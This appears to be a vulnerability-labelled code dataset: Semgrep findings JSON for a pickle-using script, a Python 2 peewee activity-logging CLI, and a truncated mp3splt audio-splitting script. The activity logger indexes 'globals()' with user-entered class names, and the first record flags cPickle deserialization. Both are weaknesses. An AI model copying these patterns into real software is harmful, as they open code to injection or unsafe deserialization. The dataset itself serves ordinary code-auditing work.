"/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 91, "col": 2, "offset": 3301}, "end": {"line": 91, "col": 37, "offset": 3336}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_f14c10c8d25730d2_4f17840b", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 91, "line_end": 91, "column_start": 19, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 91, "col": 19, "offset": 3318}, "end": {"line": 91, "col": 36, "offset": 3335}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_f14c10c8d25730d2_b475d819", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 95, "line_end": 95, "column_start": 2, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 95, "col": 2, "offset": 3413}, "end": {"line": 95, "col": 35, "offset": 3446}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_f14c10c8d25730d2_9538673b", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 95, "line_end": 95, "column_start": 18, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 95, "col": 18, "offset": 3429}, "end": {"line": 95, "col": 34, "offset": 3445}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-cPickle_f14c10c8d25730d2_51e4a203", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-cPickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 99, "line_end": 99, "column_start": 2, "column_end": 37, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-cPickle", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 99, "col": 2, "offset": 3527}, "end": {"line": 99, "col": 37, "offset": 3562}, "extra": {"message": "Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_f14c10c8d25730d2_4942aed7", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 99, "line_end": 99, "column_start": 19, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/f14c10c8d25730d2.py", "start": {"line": 99, "col": 19, "offset": 3544}, "end": {"line": 99, "col": 36, "offset": 3561}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 13 | true | [
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-cPickle",
"rules.python.lang.security.deserialization.avoid-cPickle",
"rules.python.lang.security.deserialization.avoid-cPickle",
"rules.python.lang.security.deserialization.avoid-cPickle",
"rules.python.lang.security.deserialization.avoid-cPickle"
] | [
"security",
"security",
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | [
83,
87,
91,
95,
99
] | [
83,
87,
91,
95,
99
] | [
2,
2,
2,
2,
2
] | [
48,
35,
37,
35,
37
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `cPickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `cPickle`, which is known to lead ... | [
5,
5,
5,
5,
5
] | [
"LOW",
"LOW",
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | convert_data.py | /baselines/planetoid/convert_data.py | kojino/lpn | MIT | |
2024-11-18T18:39:34.670577+00:00 | 1,485,099,424,000 | 246d7dfa7bd6119cd0ff2839322857c3754f22e4 | 3 | {
"blob_id": "246d7dfa7bd6119cd0ff2839322857c3754f22e4",
"branch_name": "refs/heads/master",
"committer_date": 1485099424000,
"content_id": "9b490eee8aa527986adbc692590abd0c040e2d7c",
"detected_licenses": [
"MIT"
],
"directory_id": "6de29238393d7548058c4d5739c7c50879c629a2",
"extension": "py",
"filename": "activitylog.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 77785257,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6061,
"license": "MIT",
"license_type": "permissive",
"path": "/activity/activitylog.py",
"provenance": "stack-edu-0054.json.gz:569958",
"repo_name": "awynne/scripts",
"revision_date": 1485099424000,
"revision_id": "98203739a65a6798ab083d07045bbe69c4e6e02a",
"snapshot_id": "031bd3e88710a61e719fbc66e7e26efb0f53351d",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/awynne/scripts/98203739a65a6798ab083d07045bbe69c4e6e02a/activity/activitylog.py",
"visit_date": "2021-04-29T01:09:52.686335"
} | 2.5625 | stackv2 | from peewee import *
from pprint import pprint
from copy import copy
import sys, os, inspect, traceback
import argparse
import inspect
from datetime import datetime
from datetime import time
db = SqliteDatabase('activitylog.db')
################
# Model classes
################
class BaseModel(Model):
is_abstract = BooleanField(default=False)
class Meta:
database = db
class NamedModel(BaseModel):
name = CharField(primary_key=True)
class Person(NamedModel):
first = CharField()
last = CharField()
born = DateField()
class ActivityType(NamedModel):
parent = ForeignKeyField('self', null=True, related_name='children')
class MeasurementType(NamedModel):
parent = ForeignKeyField('self', null=True, related_name='children')
class Location(NamedModel):
address = CharField()
class Entry(BaseModel):
person = ForeignKeyField(Person)
location = ForeignKeyField(Location)
props = CharField(null=True)
class Activity(Entry):
start = DateTimeField()
end = DateTimeField()
activityType = ForeignKeyField(ActivityType)
distance = FloatField(default=0.0)
class Measurement(Entry):
time = DateTimeField()
measurementType = ForeignKeyField(MeasurementType)
value = DecimalField()
############
# Functions
############
def main(argv):
args = parse_args();
if args.list:
ls_model(args.list)
elif (args.list_all):
for table in db.get_tables():
print table.title()
elif (args.add):
switcher = {
'Activity': add_activity,
'Location': add_location
}
try:
func = switcher.get(args.add)
func()
except:
print "Cannot add: %s" % args.add
traceback.print_exc()
else:
script = os.path.basename(__file__)
print "%s: you must specify an option" % script
exit(2)
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("--list", metavar='<model-class>', dest='list',
help='List model objects for the specified class')
parser.add_argument('--list-all', dest='list_all', action='store_true',
help='List all model classes')
parser.add_argument('--add', metavar='<model-class>', dest='add',
help='Add an instance of the specified class')
return parser.parse_args()
def input_model(model_str):
clazz = globals()[model_str]
instance = clazz.select().where(clazz.is_abstract == False).order_by(clazz.name)[0]
while True:
uinput = raw_input("%s name [%s]: " % (model_str, instance.name))
if uinput == 'help':
print "\nAvailable %ss:" % model_str
ls_model(model_str)
print
else:
try:
if uinput == '':
uinput = instance.name
clazz = globals()[model_str]
return clazz.get(clazz.name == uinput)
except DoesNotExist:
print "No such %s: %s" % (model_str,uinput)
def input_date():
default = datetime.today().strftime("%Y-%m-%d")
while True:
uinput = raw_input("date [%s]: " % default)
if uinput == 'help':
print "\nFormat: yyyy-mm-dd"
print
else:
if uinput == '':
uinput = default
try:
return datetime.strptime(uinput, "%Y-%m-%d")
except ValueError:
print "Invalid date: %s" % uinput
def input_time(adate, prompt):
while True:
uinput = raw_input(prompt)
if uinput == 'help':
print "\nFormat: HH:MM"
print
try:
t = datetime.strptime(uinput, "%H:%M")
return datetime.combine(adate, time(t.hour, t.minute))
except ValueError:
print "Invalidtime: %s" % uinput
def input_float(prompt):
while True:
uinput = raw_input("%s: " % prompt)
if (uinput == ""):
return 0
else:
try:
return float(uinput)
except:
print "Not a valid float: %s" % uinput
def input_string(prompt, help_text):
while True:
uinput = raw_input("%s: " % prompt)
if uinput == "help":
print help_text
elif uinput != "":
return str(uinput)
def input_yn(prompt):
while True:
uinput = raw_input(prompt)
if (uinput == 'y' or uinput == 'Y'):
return True
elif (uinput == 'n' or uinput == 'N'):
return False
def add_location():
print "Creating new Location [also try 'help'] ..."
nm = input_string("name", "name is a unique identifier")
addr = input_string("address", "Example: 123 Main St, City, State 12345")
print "\nCreated Location: {name: %s, address: %s}" % (nm, addr)
save = input_yn("\nSave Location (y/n)? ")
if save == True:
Location.create(name=nm, address=addr)
print "Saved"
else:
print "Not saved"
def add_activity():
activity = Activity()
print "Creating new Activity [also try 'help'] ..."
activity.activityType = input_model("ActivityType")
adate = input_date()
activity.start = input_time(adate, "start time: ")
activity.end = input_time(adate, "end time: ")
activity.person = input_model("Person")
activity.location = input_model("Location")
activity.distance = input_float("distance")
print "\nCreated Activity:"
ls_instance(activity)
save = input_yn("\nSave Activity (y/n)? ")
if save == True:
activity.save()
print "Saved"
else:
print "Not saved"
def ls_model(clazzStr):
clazz = globals()[clazzStr]
for item in clazz.select():
if item.is_abstract == False:
ls_instance(item)
def ls_instance(instance):
attrs = copy(vars(instance)['_data'])
del(attrs['is_abstract'])
pprint(attrs)
if __name__ == '__main__':
main(sys.argv[1:])
| 221 | 26.43 | 87 | 16 | 1,376 | python | [{"finding_id": "semgrep_rules.python.lang.correctness.use-sys-exit_d1f7736fb7e101c5_15d00036", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.use-sys-exit", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "remediation": "sys.exit(2)", "location": {"file_path": "unknown", "line_start": 81, "line_end": 81, "column_start": 9, "column_end": 16, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.use-sys-exit", "path": "/tmp/tmpb8jm_z1l/d1f7736fb7e101c5.py", "start": {"line": 81, "col": 9, "offset": 1904}, "end": {"line": 81, "col": 16, "offset": 1911}, "extra": {"message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "fix": "sys.exit(2)", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.dangerous-globals-use_d1f7736fb7e101c5_0185e01c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.dangerous-globals-use", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 95, "line_end": 95, "column_start": 13, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": "CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.dangerous-globals-use", "path": "/tmp/tmpb8jm_z1l/d1f7736fb7e101c5.py", "start": {"line": 95, "col": 13, "offset": 2464}, "end": {"line": 95, "col": 33, "offset": 2484}, "extra": {"message": "Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.", "metadata": {"cwe": ["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186"], "category": "security", "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_d1f7736fb7e101c5_674ad302", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_abstract\" a function or an attribute? If it is a function, you may have meant clazz.is_abstract() because clazz.is_abstract is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 96, "line_end": 96, "column_start": 37, "column_end": 54, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/d1f7736fb7e101c5.py", "start": {"line": 96, "col": 37, "offset": 2521}, "end": {"line": 96, "col": 54, "offset": 2538}, "extra": {"message": "Is \"is_abstract\" a function or an attribute? If it is a function, you may have meant clazz.is_abstract() because clazz.is_abstract is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.dangerous-globals-use_d1f7736fb7e101c5_f271cb51", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.dangerous-globals-use", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 108, "line_end": 108, "column_start": 25, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": "CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.dangerous-globals-use", "path": "/tmp/tmpb8jm_z1l/d1f7736fb7e101c5.py", "start": {"line": 108, "col": 25, "offset": 2923}, "end": {"line": 108, "col": 45, "offset": 2943}, "extra": {"message": "Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.", "metadata": {"cwe": ["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186"], "category": "security", "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.dangerous-globals-use_d1f7736fb7e101c5_70645ce8", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.dangerous-globals-use", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 209, "line_end": 209, "column_start": 13, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.dangerous-globals-use", "path": "/tmp/tmpb8jm_z1l/d1f7736fb7e101c5.py", "start": {"line": 209, "col": 13, "offset": 5771}, "end": {"line": 209, "col": 32, "offset": 5790}, "extra": {"message": "Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.", "metadata": {"cwe": ["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://github.com/mpirnat/lets-be-bad-guys/blob/d92768fb3ade32956abd53bd6bb06e19d634a084/badguys/vulnerable/views.py#L181-L186"], "category": "security", "technology": ["python"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_d1f7736fb7e101c5_c9c2755d", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_abstract\" a function or an attribute? If it is a function, you may have meant item.is_abstract() because item.is_abstract is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 211, "line_end": 211, "column_start": 12, "column_end": 28, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/d1f7736fb7e101c5.py", "start": {"line": 211, "col": 12, "offset": 5834}, "end": {"line": 211, "col": 28, "offset": 5850}, "extra": {"message": "Is \"is_abstract\" a function or an attribute? If it is a function, you may have meant item.is_abstract() because item.is_abstract is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 6 | true | [
"CWE-96",
"CWE-96",
"CWE-96"
] | [
"rules.python.lang.security.dangerous-globals-use",
"rules.python.lang.security.dangerous-globals-use",
"rules.python.lang.security.dangerous-globals-use"
] | [
"security",
"security",
"security"
] | [
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | [
95,
108,
209
] | [
95,
108,
209
] | [
13,
25,
13
] | [
33,
45,
32
] | [
"A03:2021 - Injection",
"A03:2021 - Injection",
"A03:2021 - Injection"
] | [
"Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute arbitrary code on the system. Refactor your code not to use 'globals()'.",
"Found non static data as an index to 'globals()'. This is extremely dangerous because it allows an attacker to execute... | [
5,
5,
5
] | [
"LOW",
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM",
"MEDIUM"
] | activitylog.py | /activity/activitylog.py | awynne/scripts | MIT | |
2024-11-18T18:39:35.070924+00:00 | 1,644,080,793,000 | 11ba08c4e8547496f13577188db24abec2866624 | 3 | {
"blob_id": "11ba08c4e8547496f13577188db24abec2866624",
"branch_name": "refs/heads/master",
"committer_date": 1644080793000,
"content_id": "a668e0faa067e76d3c2dfdefa39c28776cfcad14",
"detected_licenses": [
"MIT"
],
"directory_id": "5368768a91c242037776f39f480e8fe93984815b",
"extension": "py",
"filename": "glossika_split_audio.py",
"fork_events_count": 6,
"gha_created_at": 1518294388000,
"gha_event_created_at": 1616365985000,
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 121051361,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3186,
"license": "MIT",
"license_type": "permissive",
"path": "/glossika-to-anki/glossika_split_audio.py",
"provenance": "stack-edu-0054.json.gz:569964",
"repo_name": "emesterhazy/glossika-to-anki",
"revision_date": 1644080793000,
"revision_id": "d6a3e13f2e09ed8e47bb957994281dbca89e35c7",
"snapshot_id": "1a54d080906c0543f3e14fc70a2a23ec66b84a0d",
"src_encoding": "UTF-8",
"star_events_count": 32,
"url": "https://raw.githubusercontent.com/emesterhazy/glossika-to-anki/d6a3e13f2e09ed8e47bb957994281dbca89e35c7/glossika-to-anki/glossika_split_audio.py",
"visit_date": "2022-02-07T03:36:50.362436"
} | 2.53125 | stackv2 | #!/usr/bin/env python3
import glob
import os
import re
import subprocess
import sys
def main():
src_dir = os.path.join('glossika_source', 'audio')
out_dir = os.path.join('glossika_output', 'audio')
if not os.path.exists(src_dir):
os.makedirs(src_dir)
sys.exit('\nCreated {}\n'
'Copy GMS-C mp3 files into this folder and re-run.\n'
'Files can be within sub-folders.'.format(src_dir))
files = glob.glob(
os.path.join(src_dir, '**', 'EN*-GMS-C-????.mp3'),
recursive=True)
if len(files) == 0:
print('\nNo matching audio files detected.\n'
'Refer to the readme for the required file name pattern.')
return
else:
if not os.path.exists(out_dir):
os.makedirs(out_dir)
print('\nProcessing {} files...\n'.format(len(files)))
for f in sorted(files, key=lambda x: re.search('(\d{4})', x).group(1)):
f_name = f.split(os.sep)[-1]
print('Processing {}'.format(f_name))
re_match = re.search('EN(.{2,4})-..-GMS-C-(\d{4}).mp3', f)
if not re_match:
print('File name does not match\n'
'Skipping {}'.format(f_name))
continue
language = re_match.group(1)
from_phrase = int(re_match.group(2))
to_phrase = from_phrase + 49
"""
Run mp3splt
Parameters tested with:
mp3splt 2.6.2 (09/11/14) - using libmp3splt 0.9.2
-n No tags. Allows you to concatenate the files later
-x No Xing headers. Same as above
-s Silence mode ~ split files with silence detection
-p Parameters for silence mode
rm=0.2_0 Remove silence between tracks. Leaves 0.2 at beginning
and 0 at the end
min=1.9 Split on a minimum of 1.9 seconds of silence
shots=12 Min shots following silence to qualify. Decreased from
default of 24 for small sentences
-o @N3 Name output files with 3 digit ints
-d Output directory
"""
st = subprocess.run(
args=['mp3splt', '-n', '-x', '-s', '-p',
'rm=0.2_0,min=1.9,th=-64,shots=12',
'-o', '@N3', '-d', out_dir, f],
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
if st.returncode != 0:
sys.exit('Something went wrong...\nCheck files and retry.')
s_files = glob.glob(os.path.join(out_dir, '???.mp3'))
if len(s_files) != 54:
sys.exit('Expected 54 files but got {}.\n'
'Aborting at {}'.format(len(s_files), f_name))
# Rename files sequentially and skip Glossika intro & outro
s_files = sorted(s_files)[2:52]
count = from_phrase
for f in s_files:
name = '{}-{:04d}.mp3'.format(language, count)
count += 1
os.rename(f, os.path.join(out_dir, name))
for f in glob.glob(os.path.join(out_dir, '???.mp3')):
